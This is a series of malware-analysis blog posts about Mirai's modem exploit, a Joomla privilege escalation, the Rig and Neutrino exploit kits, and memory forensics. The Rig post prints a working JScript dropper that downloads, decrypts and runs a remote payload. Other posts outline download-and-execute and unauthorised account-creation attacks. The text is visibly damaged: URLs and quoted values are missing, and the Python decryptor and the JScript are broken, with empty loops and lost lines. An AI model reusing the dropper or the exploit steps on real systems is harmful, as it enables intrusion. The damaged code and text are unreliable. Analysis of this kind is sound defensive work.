Thursday, December 22, 2016

Mirai += SOAP vulnerability in DSL modems

The Vulnerability 

The attacks targets port 7547 that runs a service named TR-069 –a protocol that’s used for remotely managing CPE’s from an ACS server (CWMP – CPE WAN Management Protocol). The CPE in this case is modem and ACS servers push commands to CPE – For example upgrading firmware.

In routers such as Eir D1000 there’s also another use of this port 7547 that runs a TR-064 server. As per Zyxel - “TR064 describes a specific implementation to be used for DSL CPE LAN-side configuration. The management application can be a software program or an installation CD from the CPE vendor”. This service is supposedly not accessible from WAN but that wasn’t the case in Eir D1000 modems.

The Attack

Attackers took advantage of this vulnerability and went about targeting them rigorously. A contrived attack packet looks like below,

From the above it is evident that whatever value is passed to “” is not properly sanitized and is executed as it is. In this case the attacker downloads a bash script into the “tmp” directory and executes it. The contents of bash file are follows,

The Malware

The bash file when executed downloads an ELF executable from and executes it.

Details of the files are below,
  • ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
  • ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
  • ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
All of these files had the same functionality. For the purpose of analysis I took “ELF MIPS LSB executable”. With the limited set of tools (that I was able to setup) for performing dynamic analysis I ran the malware directly on an emulated environment to understand the behaviour.
When running the malware it initially copied itself into the memory and deleted itself and also uses Google’s DNS server ( to resolve the C2 domain (

Logs obtained from dynamic execution for resolving C2 below,

Further analysis on the logs gathered it was observed that the malware used “iptables” to drop incoming connections on multiple ports. This is to ensure that there are no further infections on the device from other malwares.

The malware then proceeds to infect other devices by scanning the internet for open port 7547.

And the exploit that’s sent is also visible in the memory that was dumped. So the cycle of reinfecting other routers continue by using this exploit.

Monday, October 31, 2016

CVE-2016-8870 - Joomla Privilege Escalation vulnerability

CVE-2016-8870 tracks a privilege escalation vulnerability in Joomla. This vulnerability allows hackers to create users on the webserver running Joomla even if user creation is disabled. A typical request to create an user on server running Joomla looks like,

From the patch that’s made available to mitigate this vulnerability, it is seen that they have removed “register” method from “com_users/controller/user” class (

It is seen that this particular function doesn’t check whether user registration is enabled globally on the site and blindly creates a user when called upon. But the checks are available there in registration class as seen below.

Moreover this method is directly accessible publicly using “task=user.register” method. So using this information the above request can be modified to call “user.register” method. So the exploit now becomes like,

This is the user list before running the exploit.  

And the global configuration has been configured to disable registration of new users.

Running the exploit now calls user.register method directly and creates the user, despite the site not allowing to register new users.

But if the “New User Account Activation” doesn’t allow auto user enable, (which is I guess set to None by most of the admins) you can see that the user is not enabled or activated by default.

There's also further options that can be appended to the request to activate and register the user :)


Friday, September 30, 2016

Rig Exploit Kit - Shellcode Spawns WSCRIPT.EXE

Rig exploit kit is currently one of the most prevalent kit in the wild. Recently there were news saying that the kit is using "WSCRIPT.EXE" to download it's encrypted payload. Earlier Rig was known to be directly downloading it's payload through "IEXPLORE.EXE". Just guessing that the switch to "WSCRIPT.EXE" might be a trick to bypass security products.

I downloaded a PCAP from (brilliant site) and started performing the analysis. A typical flow from rig exploit kit hosted site looks like below,

Landing page of Rig kit is obfuscated and looks like below,

Decoding the landing page of the Rig exploit kit reveals an exploit for CVE-2013-2551 that exploits a use after free vulnerability in Microsoft's Internet Explorer. Analyzing the script further reveals the shellcode that's embedded in the script in plain text. Below is the portion of the script that holds the shellcode.

Analysis on the shellcode reveals that it is XOR encoded and at the start of the shellcode it decodes the shellcode with a hardcoded key - In this case 0x84.

After letting the decoding loop to complete, the real picture is revealed.

The argument that's passed to the CreateProcessA api is below (post beautification). It is clearly visible its responsible for writing a small JScript snippet to a file named "IIj6sFosp" under %TEMP% directory. The same script is later passed as one of the argument to "WSCRIPT.EXE" process.

cmd.exe / q / c cd / d "%tmp%" && echo
function Log(n, g) {
    for (var c = 0, s = String, d, D = "push", b = [], i = [], r = (0376 + 1), a = 0; r + 1 ^ > a; a++) b[a] = a;
    for (a = 0; r + 1 ^ > a; a++) c = c + b[a] + g[v](a % g.length) ^ & r, d = b[a], b[a] = b[c], b[c] = d;
    for (var e = c = a = 0, S = "fromC" + "harCode"; e ^ < n.length; e++) a = a + 1 ^ & r, c = c + b[a] ^ & r, d = b[a], b[a] = b[c], b[c] = d, i[D](s[S](n[v](e) ^ ^ b[b[a] + b[c] ^ & r]));
    return i[u(15)](u(11))

function H(g) {
    var T = u(0),
        d = W(T + "." + T + u(1));
    d["setProxy"](n);, g(1), n);
    d.Option(0) = g(2);
    if (0310 == d.status) return Log(d["responseText"], g(n))
E = "WinHTTPMRequest.5.1MGETMScripting.FileSystemObjectMWScript.Shel" + "lMADODB.StreamMeroM.ex", u = function(x) {
    return E.split("M")[x]
}, J = ActiveXObject, W = function(v) {
    return new J(v)
try {
    E += "eMGetTe" + "mpNameMcharCodeAtMiso-8859-1MMindexO" + "fM.dllMScr" + "iptFullNa" + "meMjo" + "inMr" + "unM /c M /s ";
    var q = W(u(3)),
        j = W(u(4)),
        s = W(u(5)),
        p = u(7),
        n = 0,
        L = WScript[u(14)],
        v = u(9),
        m = WScript.Arguments;
    s.Type = 2;
    c = q[u(8)]();
    s.Charset = u(012);
    i = H(m);
    d = i[v](i[u(12)]("P\x45\x00\x00") + 027);
    if (037 ^ < d) {
        var z = 1;
        c += u(13)
    } else c += p;
    s.savetofile(c, 2);
    z ^ & ^ & (c = "regsvr32" + p + u(18) + c);
    j[u(16)]("\x63md" + p + u(17) + c, 0)
} catch (Y) {}
dfg = "De";
q[dfg + "letefile"](L); > IIj6sFosp && start wscript //B //E:JScript IIj6sFosp "

When "WSCRIPT.EXE" process is started its passed few other arguments too as seen below,

wscript  //B //E:JScript IIj6sFosp "gexywoaxor" "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

The 1st argument is the RC4 key ("gexywoaxor") that's used to decrypt the payload who's URL is the 2nd argument. The 3rd argument is the User-Agent that's used while downloading the payload.

Decrypting the payload with the key reveals the hidden malicious file.

VT link for the malware.

Monday, August 29, 2016

Neutrino Exploit Kit - SWF Analysis

Neutrino Exploit Kit is not new a member in the cyber space arena. The kit is now around for a while and has improved quite a lot over the months. This blog is a small walk through about the obfuscation methods employed by the kit.
A typical Neutrino Exploit Kit's SWF looks like below,

Neutrino uses RC4 algorithm for encrypting the inner SWF. The key and the encrypted SWF itself is embedded as binaryData in the outer SWF (as seen in the above image). To decrypt the SWF, you first need to find the binaryData that has the key and another binaryData(s) which holds the encrypted SWF. This can be achieved by looking at the actionscript, below snippet from actionscript reveals that the encrypted SWF spans across couple of binaryData files.

The decryption loop can be ported to a python script for repeated use. Pointing the script to the extracted binaryData files that has the key and the encrypted SWF's (binaryData files) will output the decrypted SWF file.

def decrypt(param1, param2):
    temp_ba1 = bytearray()
    temp_ba2 = bytearray()

    temp_1 = 0
    while(temp_1 < 256):
        temp_1 += 1

    temp_1 = 0
    temp_2 = 0
    while(temp_1 < 256):
        temp_2 = temp_2 + temp_ba1[temp_1] + param1[temp_1 % len(param1)] & 255
        temp_3 = temp_ba1[temp_1]
        temp_ba1[temp_1] = temp_ba1[temp_2]
        temp_ba1[temp_2] = temp_3
        temp_1 += 1

    temp_1 = 0
    temp_2 = 0
    temp_4 = 0

    while(temp_4 < len(param2)):
        temp_1 = temp_1 + 1 & 255
        temp_2 = temp_2 + temp_ba1[temp_1] & 255
        temp_3 = temp_ba1[temp_1]
        temp_ba1[temp_1] = temp_ba1[temp_2]
        temp_ba1[temp_2] = temp_3
        temp_ba2.append(param2[temp_4] ^ temp_ba1[temp_ba1[temp_1] + temp_ba1[temp_2] & 255])
        temp_4 += 1

    return temp_ba2

def main():
    param1 = bytearray(open("C:\\Temp\\binaryData\\2_c.fcvtaaslrv.bin", "rb").read())
    param2 = bytearray(open("C:\\Temp\\binaryData\\5_c.rkrzaajqnespsnx.bin", "rb").read())
    param3 = bytearray(open("C:\\Temp\\binaryData\\4_c.zkqctptzgek.bin", "rb").read())

    for byte in param3:

    data = decrypt(param1, param2)

    f = open("C:\\Temp\\binaryData\\decrypted.swf", "wb")

if __name__ == '__main__':

When loading the decoded file into decompiler, it reveals the true nature of the SWF.

The inner SWF also has a bunch of binaryDatas embedded. These binaryDatas are also RC4 encrypted and they can be decrypted by a pre-defined key specified in the inner SWF's actionscript block.

RC4 decrypting each of the embedded binaryData with the above highlighted key file reveals multiple other exploits. One such encrypted SWF inside inner SWF below.

Friday, July 29, 2016

Graphical representation of SWF - Dendrogram

Given the amount of obfuscation that's getting added to SWF files, it can be sometimes painful to analyze them. Going through a huge SWF file can be time consuming and irritating. A graphical representation can always give a perspective of what the SWF is all about and can give a head start during the analysis. In this blog post we'll see how can we create dendrogram graph out of a SWF file for the purpose of analysis.

For creating the dendrogram I first used the JPEXS FFDec library to decompile the file and fed it into a small python script that creates a CSV file. This CSV file can be further fed into "D3.js" to create a graphical representation of "intermodular" calls, "strings" in the class files along with the "imports" (We can add multiple other elements to this - but for now, this will do). Below is the CSV file that was created by the python script post processing each ".as" file from the SWF.

Feeding the CSV file to "D3.js" for dendrogram paints a graphs which can give us a little overview of what's going on with the SWF.

Looking at parts of the graph we can conclude that this SWF exploits CVE-2015-7645 - a Type Confusion vulnerability in Adobe Flash Player.

This exploit is dropped by Angler Exploit Kit - We can also find a key within the SWF that is used during the decrypting payload.

Analyzing the SWF further revealed multiple class files calling a specific module frequently - "class_2.method7". Looking into the source code reveals that this function helps during de-obfuscating strings during run time.

Representation of SWF in graph can be very useful in giving us a little insight about what we are up to. All be it, this doesn't provide a complete picture about the SWF, but nevertheless the output reveals more than useful information.

Tuesday, July 5, 2016

Quick Post - DNS changer VBS

This sample was shared by a user on twitter - Malwr link

On decoding, the script looks like,

The above script does a UAC elevation first and then proceeds to download the malware. Before downloading the malware the script changes the DNS entries of the local machine - using “SetDNSServerSearchOrder” (in each and every network adapter) - Interesting!.

Whois information about the host from "".

Thursday, June 23, 2016

Angler Exploit Kit + Volatility Forensic Tool

Volatility is an excellent way for analyzing memory dumps. It can help find artifacts hidden within the memory which is otherwise little cumbersome to find during manual analysis. After fetching a memory dump post exploitation of Angler Exploit Kit, here's steps to get to the malware - which is executed directly from the memory.

I've got hold of a VM snapshot from here (thanks to "Malware don't need Coffee") which was frozen post Angler Kit dropping its malware after exploitation.

Get the running processes list

From the list the process that we need to concentrate is PID - 860 that belongs to "iexplore.exe" (see that it's parent is again iexplore.exe and not explorer.exe)

Later use malfind to find abnormalities within PID : 860.

C:\VOL>vola -f memdump.vmss -p 860 malfind > malfind.txt

Analyzing "malfind.txt" - you will find traces of Angler shellcode. From analysis and the blog its understood that Angler's shellcode most often starts with NOPs "\x90\x90". Here's what malfind has for us in store.

Process: iexplore.exe Pid: 860 Address: 0x6cb0000
Flags: CommitCharge: 41, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x06cb0000  90 90 90 90 e9 00 00 00 00 e8 17 03 00 00 8d 88   ................
0x06cb0010  2c 07 40 00 85 c9 74 05 e8 14 03 00 00 e8 03 03   ,.@...t.........
0x06cb0020  00 00 05 64 07 40 00 b9 4d 5a 00 00 8b 10 83 c0   ...d.@..MZ......
0x06cb0030  04 66 39 08 75 39 8b 48 3c 83 f9 40 72 31 3b ca   .f9.u9.H<..@r1;.

0x6cb0000 90               NOP
0x6cb0001 90               NOP
0x6cb0002 90               NOP
0x6cb0003 90               NOP
0x6cb0004 e900000000       JMP 0x6cb0009
0x6cb0009 e817030000       CALL 0x6cb0325
0x6cb000e 8d882c074000     LEA ECX, [EAX+0x40072c]
0x6cb0014 85c9             TEST ECX, ECX
0x6cb0016 7405             JZ 0x6cb001d
0x6cb0018 e814030000       CALL 0x6cb0331
0x6cb001d e803030000       CALL 0x6cb0325
0x6cb0022 0564074000       ADD EAX, 0x400764
0x6cb0027 b94d5a0000       MOV ECX, 0x5a4d
0x6cb002c 8b10             MOV EDX, [EAX]
0x6cb002e 83c004           ADD EAX, 0x4
0x6cb0031 663908           CMP [EAX], CX
0x6cb0034 7539             JNZ 0x6cb006f
0x6cb0036 8b483c           MOV ECX, [EAX+0x3c]
0x6cb0039 83f940           CMP ECX, 0x40
0x6cb003c 7231             JB 0x6cb006f
0x6cb003e 3bca             CMP ECX, EDX

Make a not of the address where this data is found. We'll then use vaddump on the iexplore PID to dump the shellcode + malware file completely.

C:\VOL>vola -f memdump.vmss vaddump -p 860 -D vaddump

You should end up with multiple ".dmp" files under "vaddump" directory. Based upon the address of the data - "0x06cb0000" we should target the dump starting at this address and we end up with the file - "iexplore.exe.24296b8.0x06cb0000-0x06cd8fff.dmp". Opening the file in hex editor reveals everything.

VT link for malware.